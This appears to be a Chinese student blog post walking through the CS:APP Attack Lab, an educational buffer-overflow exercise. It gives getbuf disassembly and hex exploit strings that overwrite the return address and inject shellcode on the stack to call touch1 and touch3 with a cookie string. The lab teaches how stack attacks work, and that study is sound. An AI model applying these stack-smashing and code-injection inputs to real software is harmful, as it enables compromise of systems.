BOMBLAB 做的人不能自理。在bomblab中,有很多投机取巧的方法,面对整个冗长的汇编也没能总结出什么有用的经验(或许有用的gdb调试经验增加了。。。)总而言之,bomblab算一个比较有趣但是要想真正写点东西出来又很困难的LAB。废话了这么多,无非就是:“我做完bomblab但是台麻烦拉不想写,直接从attacklab开始整”
第一问比较简单,要求是通过注入代码实现函数的跳转。
原本的代码段是:
1 void test()
2 {
3 int val;
4 val = getbuf();//在此处注入代码!!!
5 printf("No exploit. Getbuf returned 0x%x\n", val);
6 }
达到的目的是,让程序在getbuf()
之后跳过test中的内容,直接运行文档中的touch1()
函数:
1 void touch1()
2 {
3 vlevel = 1; /* Part of validation protocol */
4 printf("Touch1!: You called touch1()\n");
5 validate(1);
6 exit(0);
7 }
思路:找到touch1()
函数的入口地址(00000000004017c0
),通过注入字符,让getbuf()
函数运行完之后直接跳转到touch1()
。
观察getbuf()
,一开始进行了0x28个字节的栈分配
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
所以我们要注入的字符串的前0x28个字符(10进制为40)用于填充栈,40之后的,放置touch1()
函数的入口地址。
最终答案(经hex2raw转换之前的):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40
注意输入16进制数的次序和其在内存中的存放次序相反。
我们知道,如果想实施攻击,只能ret回某个地址然后执行这个地址处的函数。但是我们没办法把指令字符串注入到代码区,只能注入到堆栈区。好在PC计数器根本分不清这个,我们把自己要执行的一段代码通过注入导到堆栈区,然后再让返回地址直接指向堆栈区的开头(注意,这里虽然rsp已经弹回,原有栈空间出的内存部分并没有改变。详情见下图)
主要思路就是这样,代码懒得粘了。
和phase2有两点不同
cookie:0x59b997fa
传入的应该是“59b997fa”
直接假装他是输入,看一下内存,就可以得到转换为16进制表示为:
0x39623935 0x61663739
这里出现第一个重点,存入的数据顺序
这是我们传入字符串“59b997fa”时的内存情况
0x5561dc78: 0x39623935 0x61663739 0x00000000 0x00000000
0x5561dc88: 0x00000000 0x00000000 0x00000000 0x00000000
可以看出,从地址0x5561dc78
到0x5561dc80
的部分就是字符串的存储部分。但是我们应该输入到二进制hex的顺序不是39 62 39 35 61 66 37 39
,而是35 39 62 39 39 37 66 61
。不要搞反。
把字符串存到缓冲区,然后自己编写的代码中mov给%rdi 的并不是cookie的十六进制值而是cookie的字符串表示后的首地址。
然后就出来第二个重点,字符串的存储顺序和代码段的存储顺序
先看错误的情况:
35 39 62 39 39 37 66 61/*字符串*/
48 c7 c7 78 dc 61 55 68/*攻击代码*/
fa 18 40 00 c3 33 33 33/*攻击代码*/
33 33 33 33 33 33 33 33
33 33 33 33 33 33 33 33
80 dc 61 55 33 33 33 33/*跳转代码*/
虽然我们把字符串存到了堆栈区,但是由于后面堆栈区还会继续使用,有各种push的代码,比如
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
里面有三个push,他可能还会对堆栈区的内存进行污染,我们无法保证字符串的内容会不会被更改。
正确的做法是,直接把字符串的内容存到比%rsp 地址还要更低的地方,这样push操作绝对不会污染数据。正确输入:
48 c7 c7 a8 dc 61 55 68 /*攻击代码*/
fa 18 40 00 c3 00 00 00 /*攻击代码*/
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /*跳转代码*/
35 39 62 39 39 37 66 61 /*字符串*/
而且注意一定要用00来填充,用33填充就报错了orz,我也不知道为啥。
待续